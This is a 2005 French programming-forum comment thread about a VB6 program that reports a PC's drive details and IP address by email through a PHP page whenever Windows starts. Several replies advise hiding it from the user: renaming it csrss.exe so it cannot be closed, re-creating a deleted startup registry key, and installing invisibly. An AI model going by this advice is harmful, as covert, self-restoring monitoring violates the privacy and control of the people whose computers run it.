If Drv.IsReady Then DrvName = Drv.Path & "\ [ " & Drv.VolumeName & " ]" Else DrvName = Drv.Path & "\"
Select Case Drv.DriveType
    Case 1
        TypeD = "Disquette "
    Case 2
        TypeD = "Disque dur "
    Case 4
        TypeD = "CD/DVD Rom "
    Case 3
        TypeD = "Réseau "
    Case 5
        TypeD = "Ram "
    Case 6
        TypeD = "Inconnu "
End Select

If Drv.IsReady Then
Msg = TypeD + Drv.Path + "\" + vbCrLf
If Drv.VolumeName <> "" Then
    Msg = Msg + "Nom du lecteur : " + Drv.VolumeName + vbCrLf
End If
Serie$ = Right$(String$(8, "0") + Hex$(Drv.SerialNumber), 8)
Serie$ = Left$(Serie$, 4) + "-" + Right$(Serie$, 4)
Msg = Msg + "N° de série du disque : " + Serie$ + vbCrLf
Status = GetDiskFreeSpaceEx(Drv & "\", BytesAvailableToCaller, TotalBytes, FreeBytes)

Msg = Msg + "Espace total   : "
If TotalBytes * 10000 > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024 ^ 3), -1) & " Go"
Else
    If TotalBytes * 10000 > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024 ^ 2), -1) & " Mo"
    Else
        If TotalBytes * 10000 > 1024 Then
            Msg = Msg + FormatNumber((TotalBytes * 10000 / 1024), -1) & " Ko"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace libre   : "
If FreeBytes * 10000 > 1024 ^ 3 Then
    Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024 ^ 3), -1) & " Go (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
Else
    If FreeBytes * 10000 > 1024 ^ 2 Then
        Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024 ^ 2), -1) & " Mo (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
    Else
        If FreeBytes * 10000 > 1024 Then
            Msg = Msg + FormatNumber((FreeBytes * 10000 / 1024), -1) & " Ko (" & Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace utilisé : "
If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 ^ 3 Then
    Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
Else
    If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 ^ 2 Then
        Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
    Else
        If (TotalBytes * 10000 - FreeBytes * 10000) > 1024 Then
            Msg = Msg + FormatNumber(((TotalBytes * 10000 - FreeBytes * 10000) / 1024), -1) & " Ko (" & Int(100 - (Int(FreeBytes * 10000 / (TotalBytes * 10000) * 100))) & "%)"
        End If
    End If
End If
Msg = Msg + vbCrLf

End If
Set fso = Nothing
InfosDisk = Msg

End Function
---------------------------------------------------------------------


Pour l'utiliser c'est simple, tu fais:
infos = RecupInfosPc
Et apres ta plus ka rajouter la variable infos a la variable ki sera pour le script php $msg.

@+,
..::ElastycmaN::..

Le : 12/03/2005 15:29:48
Source : RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)
Wé, avec inet ta une dépendance a msinet.ocx (112ko).
Pour récupérer l'ip par la page php c'est tres simple :
tu fait en sorte que sur la page, il y ait juste l'ip d'écrit et tu fais dons ton prog vb :
ip=openurl(ip.php)
la variable ip récuperera ce qu'il y a marqué sur la page, donc l'ip.
Pour afficher juste l'ip dans la page php, je suppose que tu sais faire, tu met juste, reprend ma source que j'ai posté juste avant la tienne :
<?PHP

/*  Coded by ElastycmaN  */

$vraieip = getenv("HTTP_X_FORWARDED_FOR");

if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;

/* Et a la suite, tu remet ton script qui envoit l'ip par mail*/
?>
Pour vérifier si l'ip a changée, on a déja expliqué un peu plus haut comment faire.
..::ElastycmaN::..

Le : 11/03/2005 12:46:10
Source : RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)
Mais une question, le but c'est que l'utilisateur s'en appercoive pas nan?? SI oui alor change le nom du prog et le chemin pasque C:\ip v2.1 final.exe c pas tres discret...
Si tu veux aller encore plus loin, appelle ton prog csrss.exe pour pas que l'utilisateur puisse le fermer et met un timer qui vérifie  si la clef de démarrage existe tjrs (défois que la personne soit maligne et supprime la clef...).

Le : 11/03/2005 12:43:01
Source : RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)
Ta modifié la page qui s"ouvre??
Ta tjrs une fenetre IE qui s'ouvre??? Sinon jté di utilise le controle inet (ou  un api) é utilise la fonction inet.openurl(tapage/ip.php). C'est beaucoup plus discret!
Et pourquoi tu dit que ton prog se ferme apres avoir envoyé l'ip?? Ta pas fait une vérification de changement d'ip, et si elle change alor le prog renvoi l'ip par mail...?

Le : 08/03/2005 13:50:29
Source : RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)
Ba c'est pas complqué, tu ouvre ton exe final avec un éditeur hexa décimal et ds le champs ASCII tu cherche ou est appelée la dll vb6fr, tu remplace ce nom par le nom d'une dll d'autant de lettres (5) que t'es sur qu'il a. (Tu change juste le nom, tu laisse l'extension .dll). Tu save et ferme, ton exe n'a plus de dépendance a vb6fr.
Le truc c'est que vb6fr.dll contient des message d'erreur en francais. Si tu remplace par une autre dll, il s'en fout le prog pasque il n' aura pas dedans l'appel voulu.
Si tu cherche sur le site c'est expliqué ptet mieux que je ne le fait la mais je sais plus sur kel post.

..::ElastycmaN::..

Le : 08/03/2005 00:57:47
Source : RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)
msvbvm60.dll= 1.32mo, diminué a 800 environ avec multimédia builder...

Le : 08/03/2005 00:23:19
Source : RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)
Pour installer le programme.... un petit Multimedia Builder (que je conseil a tout le monde) permettra de créer un exe sans dépendance (c'est un logiciel qui permet de crée des installation avec script, tout peut rester invisible), cet exe copie les dll, le programme vb  et le demarre.
A savoir que seul msvbvm60.dll est utile, la dépendance a vb6fr.dll peut s'enlever avec une simple petite modification hexa, pour le controle Inet, dans ce cas la mieux vaut mettre l'API...


1 2 3


Nos sponsors

Sondage...

CalendriCode

Juillet 2009
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Appels d'offres

Comparez les prix Nouvelle version


Apple iPod touch 2nde Gén. Noir 8 Go (Mac/PC)
Entre 209€ et 345€


Visiter le guide achat

Photothèque Nouveau !

Photo pretty girlsPhoto femme, plage, bien être, soleil, vacances, été, détente, repos
Photo femme, plage, bien être, soleil, vacances, été, détente, reposPhoto tableau des plantes aromatiques

Visiter la photothèque


Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,156 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.